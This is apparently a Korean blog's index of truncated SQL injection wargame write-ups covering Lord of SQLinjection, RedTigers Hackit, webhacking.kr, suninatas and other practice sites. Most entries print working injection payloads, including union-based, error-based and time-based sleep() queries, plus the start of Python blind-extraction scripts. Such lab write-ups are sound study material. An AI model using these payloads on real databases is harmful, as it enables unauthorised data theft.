webhacking/sql, sql injection 98

Lord Of SQLinjection rubiya

include "prob_rubiya_timer.php";  include "./config.php"; // $prob_rubiya_salt = "???????";  login_chk();  dbconnect();  function reset_flag($flag_salt){    $new_flag = substr(md5($flag_salt.rand(10000000,99999999).$flag_salt.rand(10000000,99999999).$flag_salt.rand(10000000,99999999)),8,16);    $chk = @mysql_fetch_array(mysql_query("select id from prob_rubiya where id='{$_SESSION[los_id]}'"));  ..

sql Injection in Insert, Update and Delete clause(error based)

source : https://osandamalith.wordpress.com/2014/04/26/injection-in-insert-update-and-delete-statements/가 출처이고, 상당히 유용한 내용인것 같아서 통째로 가져옴...... 일부 공부하면서 정리 예정. Injection in Insert, Update and Delete Statements10 CommentsIntroductionMost of the time when we talk about SQL injection we extract data by using the union keyword, error based, blind boolean and time based injection methods. All this com..

mysql의 이상한 형변환과 컬럼 갯수.

http://rubiya-kr.tumblr.com/ rubiya님의 옮긴 블로그에서 언젠가 나중에 유용하게 쓸것 같아서 가져왔다.컬럼 갯수를 알아내는 방법인데 1234select(select*from mysql.user)=1 select(select*from mysql.user)in(1) #1241 - Operand should contain 42 column(s) view rawcountByError.sql hosted with ❤ by GitHub 이런 식으로 컬럼 갯수를 알아낼 수 있다고 한다. mysql.user대신 알아내고 싶은 테이블명을 넣으면 된다.그리고 형변환에 대한 것인데......(지인에게서 들은 정보) 난 여태까지 문자열은 정수 0과 같다고 생각하고있었다. mysql> select '..

새롭게 찾아낸 유용한 함수.

rubiya.kr 19번을 풀때 도움을 받았던 http://randa.tistory.com/category/MySQL/MySQL%20Syntex 에서 개인적으로 쓸모있는 함수가 몇개 더 있을거라 생각했었는데 잊고있었다가 지금 삽질해보니 더 발견!! 1. interval함수 5. INTERVAL(N,N1,N2,N3,...)INTERVAL은 값 N과 그 뒤의 값을 비교하여 결과를 리턴한다. 최소 1개 이상의 N(num) 값이 있어야 한다. * N < N1 일 경우 뒤 N과 관계없이 무조건 0을 리턴한다. * N1 < N2 < N3 ... 와 같이 N(num)은 뒤로갈 수록 값이 커야 한다. 내부적으로 Binary 형태로 결과를 구하기 때문이 고 만약 그렇지 않을 경우 원하는 결과가 나오지 않을 수 있다. *..

Lord Of SQLinjection iron_golem~evil_wizard

http://leaveret.kr/los/gate.php iron_golem앞의 xavius였나 그거와 같은 한글+에러기반 인젝션.http://leaveret.kr/los/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(substr(pw,1,1)=%27%EB%A3%A8%27,1,(select%201%20union%20select%202))%20%23 답은 '루비꺼야!빼애애애애애애애액!!!' 이다. 한글이 아닌 중간에 !도 있으니 알아서 주의해서 찾을것. dark_eyes # -*- encoding: cp949 -*- import urllib2 answer = '' for i in range(1,9): for j in range(32,12..

Lord Of SQLinjection zombie_assassin~dragon

http://leaveret.kr/los/gate.phpzombie_assassin?id=%00%27%20union%20select%201%23 succubus?id=\&pw=%20union%20select%201%23 nightmare?pw=%27>2);%00 xavis크리스마스 ctf에서 나왔던것처럼 블라인드 한글 인젝션이다. 한글은 유니코드라서 2바이트로 취급하면 안된다. 답은 '우왕굳' 인데 pw='우왕굳' 이라 하면 substr(pw,1,1)처럼 뽑아내면 '우'가 뽑힌다. 2바이트로 취급하려다가 삽질함.뽑아내려면 쿼리를 참으로 만든후 substr(pw,1,1)>'가' 이런식으로 >

Lord Of SQLinjection gremlin~assassin

http://leaveret.kr/los/gate.phprubiya.kr을 다시 재정비해서? 만든 사이트... 앞에서 rubiya.kr의 풀이를 적어놨기에 따로 풀이를 적지는 않음. 비슷하다. gremlin?id=admin%27%23 cobolt?id=admin%27%23 goblin?no=-1%20union%20select%20char(97,100,109,105,110)%23 orc # -*- encoding: cp949 -*- import urllib2 answer = '' for i in range(1,9): for j in range(32,128): print i,j,answer req = urllib2.Request('http://leaveret.kr:8080/los/orc_60e5b360f95..

DareYourMind SQL Exploit 1~4

1. ' or 1=1#으로 sqli가 됨을 확인할수 있다. union으로 컬럼을 한개씩 늘려나가면서 컬럼 갯수와, 유효한 위치를 확인한 후에 공격하면 된다. ' union select name,email,3 from _User_SQL1_ where name='listito'# 처럼 입력하면 listito의이메일주소가 뜬다. 그게 답. 2. sqli는 되는데 입력할수 있는 길이가 짧다. 하나의 계정 비밀번호만 구하면 되는데, '||length(pass)=13#으로 계정 전체 패스워드가 13임을 알 수 있다. 그리고 패스워드를 like를 이용해서 한글자씩 뽑아낸다. ||pass like '첫번째글자%'#그리고 첫번째 글자가 뽑혔으면 계속해서. ||pass like '%이전글자%'#와 같은 형식으로 참이 나오..

webhacking.kr 27, 29

27.sql 인젝션. no입력칸이 있고 소스보면필터링문자는 #|union|from|challenge|select|\(|\t|/|limit|=|0x이고, 구문은"select id from challenge27_table where id='guest' and no=($_GET[no])" 이다.no=-1같이 화면에 출력안되는 값으로 입력하고, )로 닫아준 후에 우회해주면 된다.-1) or no=2# 하면 되는데 =와 #이 필터링이다. 여는괄호도 필터링이므로 in()은 못쓰고 like로 우회해준다. 주석은 #대신 -- 을 쓴다. (-- 후에 한칸 띄워준다.)-1) or no like 2-- 또는 url에 ?no=-1%29%20or%20no%20like%202%20--%20로 입력하면 된다. 29.파일이름 인젝션..

WeChall No Escape, Training: MySQL I, Training: MySQL II

No Escape투표를 111개 하는건데 110개가 되면 초기화된다. 투표시 ?vote_for=bill처럼 인자가 전달되는데 끝에 '를 붙여보면 에러메시지와 함께 UPDATE noescvotes SET `bill\'`=`bill\'`+1 WHERE id=1 이라는 코드가 나온다. 내가 '를 넣은 부분은 저 빨간부분이므로 수정해서 bill`=111 where id=1%23로 보내보면 id는 건들지 말라고 하므로 bill`=111%23로 보내면 통과 Training: MySQL I"SELECT * FROM users WHERE username='$username' AND password='$password'"; 인데 아무런 필터링이 안되있음.admin'# Training: MySQL II"SELECT * F..

RedTigers Hackit 8 (미완)

email에 ' or username='Admin' and length(password)=18 and sleep(5) or '5로 5초 멈추는걸로 보아 길이 18 확인. ' or username='Admin' and locate(char(116),password)=1 and sleep(5) or '5 ' or username='Admin' and instr(password,char(116))=1 and sleep(5) or '5 같은 쿼리로 비밀번호를 빼내려했으나 일부 비밀번호가 안빠짐. 왜그런지는 모르겠음. 연구 필요. # -*- encoding: cp949 -*- import urllib2,time #answer = 'THEM ANI GOFL 42' answer = '' for j in range(5..

RedTigers Hackit 7

level7검색 페이지가 구현되어있다. google에 대해 포스팅한 사람의 이름을 찾는게 목표이고, 테이블은 level7_news, 컬럼은 autor이다. 검색페이지에 '를 입력하면 에러가 발생하면서 쿼리를 볼 수 있다.SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%여기%' OR text.title LIKE '%여기%')라고 나오는데 여러 가지를 입력하다 보면 빨간색의 두 여기부분에 데이터가 들어간다는걸 알 수 있다. 쿼리를 분석해보면 level7_news테이블의 별칭으로 news를, level7_texts테이블의 별칭으로 text를 ..

RedTigers Hackit 6

level6click를 클릭해보면 deddlef라는 계정이 나오고 뒷부분 주소는 /level6.php?user=1이다.0으로 바꿔보면 아무것도 안나온다. 그리고 문제가 sqli랬으니 blind는 아닐 것이다.0 union select 1,2,3,4,5%23으로 5개 붙여봤을시 user not found가 뜨는걸로 보아 컬럼이 5개이다.근데 user not found만 뜨고 1,2,3,4,5숫자는 안 뜬다. 근데0 union select 'rara',2,3,4,5%23처럼 아무곳에나 문자열을 입력해보면 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php..

RedTigers Hackit 4~5

level4.간단한 블라인드 인젝션. 클릭미를 누르면 인자로 1이 전달되는데id=1이면 Query returned 1 rows. 가 출력되고, id=0이면 Query returned 0 rows. 이 출력되는 성질을 이용해서 하면 된다. level4_secret라는 테이블의 keyword라는 컬럼에서 첫번째 값을 뽑아오라고 한다.http://redtiger.labs.overthewire.org/level4.php?id=if((select%20length(keyword)=17%20from%20level4_secret),1,0)로 길이가 17인걸 알아냈다. http://redtiger.labs.overthewire.org/level4.php?id=if((select%20substr(lpad(bin(ascii..

RedTigers Hackit 1~3

http://redtiger.labs.overthewire.org level1숫자가 있는데 누르면 ?cat=1로 전달된다. 뒤에 %23으로 막아봐도 제대로 나오는걸 보면 여기다가 하면 되겠다. union select 1,2,3,4까지 입력했을때 3,4가 출력된다. 테이블 이블이 level1_users라고 하고, 입력창이 username,password로 써있으니 이걸로 컬럼 네임을 추측해서 대입해보면 된다.http://redtiger.labs.overthewire.org/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users%23 level2은근히 쉬울 듯 하면서 조금 해맸는데; 전달되는 인자가 없어 그냥 아이디,비밀..

chall.tasteless.se Too Easy

공격 포인트를 알았는데 푸는데 한참 걸렸다. 앞문제 Infiltration처럼 정렬 관련된 ASC가 있다. ?in=,1%23가 입력됬을때 제대로 뜨는 것으로 보아 Infiltration과는 달리 앞뒤로 괄호가 안씌워져 있으므로 union을 통한 인젝션은 불가능하다. 컬럼을 숫자로 하나하나 대입해본결과 마찬가지로 컬럼은 1,2 두개이고 여러번 대입 가능하다. (?in=,1,2,1%20ASC%23 이런식으로) 컬럼 자리에는 서브쿼리로 인젝션이 가능하다. 참고로 if,case,ascii,ord는 못쓰고, or,and,*이 없어진다. 실험결과 한번만 없애서 oorr, aandnd, 다른문자 로 우회가 가능하다. 방법1.블라인드 인젝션 하라는 경고문구가 없기 때문에 일반적인 블라인드 인젝션을 했다. 풀면서 출제자..

chall.tasteless.se Infiltration

힌트 : Capture the flag! hint: table level1_flag column flagNo Bsqli!! 이고 블라인드 인젝션을 하지 말라 했으니 union으로 값을 가져오거나 만드는거라 추정된다. http://chall.tasteless.eu/level1/index.php?dir=asc 이고 asc나 desc에 의해 정렬이 바뀌고, 단순 dir=1처럼 넣어보면 에러가 뜨는데 ,2 처럼 넣어보면 에러가 안 뜨는 것으로 보아 select * from table order by 1 $_GET['dir']; 정도인것같다. 현재 설치된 mysql에서 select * from prob order by 1 union (select 1,2) 등등으로 괄호를 바꿔가면서 해봤는데 잘 안됬다. order..

webhacking.kr 27, 29

27. select id from challenge27_table where id='guest' and no=($_GET[no]) 가 쿼리문. no=(0) or no like 2-- no=(0) or no regexp 2-- 매직쿼터가 안걸려있으면 no=(0) or id like 'a%'나 id like 'admin' 같은것도 될지 모르지만 쿼리 에러가 뜨는거보면 매직쿼터가 걸려있나보다. 29.아무 파일이나 올려보면 내용이 뜨는데 결과값을 보고 쿼리문을 대충 예측해볼수있다. time, ip, file 3개가 있는것으로 보아 insert into table values(값 3개.) 등으로 예측가능한데 내가 입력한 파일명이 첫번째에 들어가는지 두번째에 들어가는지 3번째에 들어가는지 모르므로 하나하나 예측해서..

chall.tasteless.se Stop Quotes

test account guest:guesthint: table is level4, columns are username and pass! 요렇게 힌트가 나오고, 폼이 하나 있어서 폼에다가 블라인드 인젝션을 하는줄알고 별 난리를 쳐봤지만 별 유효한걸 못찾았다. 테스트 계정으로 guest,guest가 있어서 들어가보니 guest로 성공적으로 로그인됬다고 나오고 쿠키값에 login=guest%25084e0343a0486ff05530df6c705c8bb4 이 추가되어있다. 딱 봐도 여기에 뭔가 단서가 있는것같다. 잘 살펴본결과 guest%25뒤의 32글자는 guest를 md5로 인코딩한 값이다. 아이디를 인코딩할리는 없고, 비밀번호인 guest를 md5로 인코딩한 값인 것 같다. view라는게 있어서 들어가보..

chall.tasteless.se Milk

Capture the flag! hint: table level2_flag column flagNo Bsqli!! 라는 힌트와 함께 그림이 있다. 주소창이 http://chall.tasteless.se/level2/index.php?req=f 이므로 mysql이라 가정하고 f%23등으로 뒤를 주석 으로 막았더니 그림이 나오질 않는다. 그림이 안나오면 에러처리되는것 같고, f'%23으로 해보면 되는것으로 보아 쿼터로 둘러쌓여있음을 알 수 있다. 힌트에 Bsqli하지말라고 했으므로 그냥 값이 딱 나오는 sqli일 것이다. union으로 값을 넣어봤더니. http://chall.tasteless.se/level2/index.php?req=f%27%20union%20select%201,2,3%23 처럼 3까지 ..

suninatas level 23

level 22는 23이랑 똑같은데 더 쉬우므로 그냥 안씀... 22와 달리 admin이 필터링되있고, 거기다가 길이제한도 있는데, mysql이 아니라 mssql이라 꽤 오래 걸림.... 공백 필터링, 그리고 아래 필터링된다고 써져있는것들 필터링, 길이제한까지 되있다. 최대한 길이를 줄여가며 인젝션. admin이 필터링되어있길래 mysql에서는 'a' 'dmin'같이 하면 되서 해봤는데 안된다. 귀찮아서 안찾다가 찾아보니 'a'+'dmin'처럼 +로 붙여줄수 있어서 이렇게 해봤는데 이번엔 길이제한에 걸린다. 이리저리 해보다가 다 안되서 그냥 admin을 포기하고 해보기로 했는데 된다. id=' or len(pw)>10-- &pw=guest 처럼 해봤는데 OK admin이 나온다.... len(pw)6 이..

suninatas level 6

글을 읽어보면 suninatas의 글을 읽으라는게 힌트. 또 참조하라고 http://tools.web-max.ca/encode_decode.php 라는 사이트 링크가 있다. 나머지는 다 쓸모없는 말. readme 들어가보면 sql문이 보이는데 sqli를 성공해야한다. "select szPwd from T_Web13 where nIdx = '3' and szPwd = '"&pwd&"'" asp라 알아보기 좀 불편할수도 있음.... qkqhxla1을 넣으면 이런식으로 변형 select szPwd from T_Web13 where nldx = '3' and szPwd = 'qkqhxla1' 필터링이 거의 없으니 그냥 true로 만들어주면 된다. select szPwd from T_Web13 where nldx..

webhacking.kr 22

guest, guest로 로그인하면 이상한 해쉬값 발견, 길이가 32라 md5같은데 salt를 뭘 붙이는거같음. 조인으로 새로운 아이디 만들어보니 또다른 해쉬값 생성. salt+아이디 등으로 해쉬가 만들어지는듯. 별짓 다해봐도 안되다가 id를 admin' or 1%23 등으로 보냈더니 Wrong가 아닌 Wrong password라는 에러메시지 확인. Wrong password는 아이디는 맞았는데 password가 틀렸다는 소리같음. 그럼 admin' or 1%23은 true라는 소리이므로. 이걸로 pw길이 확인. id=admin\' and length(pw)

webhacking.kr 21

1 입력시 true. 2입력시 true http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=1&id=&pw= 라는 인자로 보아 no,id,pw컬럼 확인. no=이 입력부분이고, 대부분 숫자로 가정하여 홑따옴표'를 안씌운다는 가정하게 인젝션. ?no=2 and ascii(substr(id,1,1))=97%23&id=&pw= 이런식으로 true, false판별해본결과 no=1 의 id='guest', no=2의 id='admin' 확인. no=2의 pw를 뽑으면 될거같으므로 ?no=2 and length(pw)

wargame.kr q&a

뭔가 되게 페이지는 열심히 만드신거같은데 취약점 찾기가 쉬웠다는 ㅠㅠㅠ.. 들어가기전 시간 기반 인젝션이라는 힌트가 있고, 들어가서 탭 하나하나 눌러보면 주석에 힌트로 xss문제가 아니라 sqli문제라고도 써있음. 다들 일반적인 자바스크립트 동작들... jsmaster에게 메일을 보내는게 있는데 당연히 여기가 취약... 메일을 보내게되면 패킷을 잡아보면 post방식으로 이런 데이터가 가는데... cont=sdfsfsfsdfsdf&mail=sdfsdfsdfsdf&type=1 type에 따라 q&a인지 free인지 구별을 하게해놓았지만 여기 뒤에 인젝션이 가능.... &type=1 and if(1=1,sleep(3),1) 이런식으로 여러번 해보면 3초 멈추는걸 확인 가능.. cont=sdfsfsfsdfsdf..

wargame.kr ip_log_table

들어가면 admin으로 로그인하는 창과 ip log를 보여주는 기능을 하는 창 두개가 있다. admin으로 로그인하는 창으로 들어가서 admin-- , admin#,등으로 삽질을 해봤는데 반응이 없다. ip 로그 테이블목록을 보여주는곳에서 소스를 보면 숨겨진 폼이 있다. 이거에 뭔가 있을듯. ip 로그 목록을 클릭해보면 진짜로 아이피주소만 나오고 다른건 안나온다. 프록시로 데이터를 잡다보니 idx라는 값을 보낸다. 위의 숨겨진 폼에서 어떻게 연산을 해서 보내는것 같다. 숫자면 당연히 인젝션이 될거같으므로 바꿔서 보내봤다. idx=0이나 idx=1255 or 1=0나 idx=1244 and 0 등으로 거짓이 되게 보내면 이런 문자열이 나온다. 1970-01-01 09:00:00 webhacking.kr 2..

wargame.kr web_chatting

풀고 싶었는데 서버가 너무 자주 죽어서 관리자님께 하소연했더니 호흡기 붙여주심.(관리자님 감사해요) 이전에도 말했듯이 기술을 중요시하는 webhacking.kr보다는 조금 더 현실적인(?) 워게임이라 취약점 찾는데 몇일 걸렸습니다. 그런데 찾고보니 일반적인거네요... 소스 사이에 잘 숨겨두심. var xmlhttp,ni,iq=0,brtype=1; function getchatlog(type){ xmlhttp = new XMLHttpRequest(); if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1"); }else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlht..

wargame.kr tmitter

들어가기전에 테이블 구조가 있다. you need login with "admin"s id! =========================== create table tmitter_user( idx int auto_increment primary key, id char(32), ps char(32) );그리고 들어가보면 조인(회원가입)과 로그인 두개밖에 없다. 조인에서 아무거나 만들고 로그인으로 들어가보면 글 쓰는 페이지가 있다. 글에는 필터링이 되어있는지 아무거나 입력해봐도 다 나온다. 테이블 구조가 문제 들어오기 전에 보이고, 페이지가 조인, 로그인 두개밖에 없으면 당연히 sql문에서 insert문을 공략하는 문제이다. 그리고 insert문을 공략하는 방법이면 가장 흔한 insert into 테이블 ..